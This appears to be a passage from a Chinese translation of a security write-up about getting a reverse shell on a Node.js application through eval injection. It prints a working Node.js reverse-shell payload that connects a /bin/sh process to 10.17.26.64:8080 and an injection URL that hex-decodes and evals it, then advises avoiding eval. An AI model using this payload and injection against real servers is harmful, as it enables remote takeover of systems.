代码中的Payload将会生成一个/bin/sh Shell,并允许攻击者与目标服务器创建一条TCP链接,然后在通信数据流中绑定shell命令。

(function(){ varnet=require("net"), cp=require("child_process"), sh=cp.spawn("/bin/sh",[]); varclient=newnet.Socket(); client.connect(8080,"10.17.26.64",function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return/a/;//防止Node.js应用程序崩溃 })();

为了有效地运行我们的Payload,我们使用了一个小技巧。我们将逆向Shell Payload编码成了十六进制格式,并且使用了Node.js的Buffer对象来对其进行解码操作。

http://target.tld/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]

总结

在得到了上述的分析结果之后,我们强烈建议用户尽量避免在JavaScript项目中使用eval函数。对应的解决方案也十分简单,用户可以直接使用RegExp对象来对数据进行操作。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://wiremask.eu/writeups/reverse-shell-on-a-nodejs-application/
Viewing all 12749 articles
Browse latest View live




Latest Images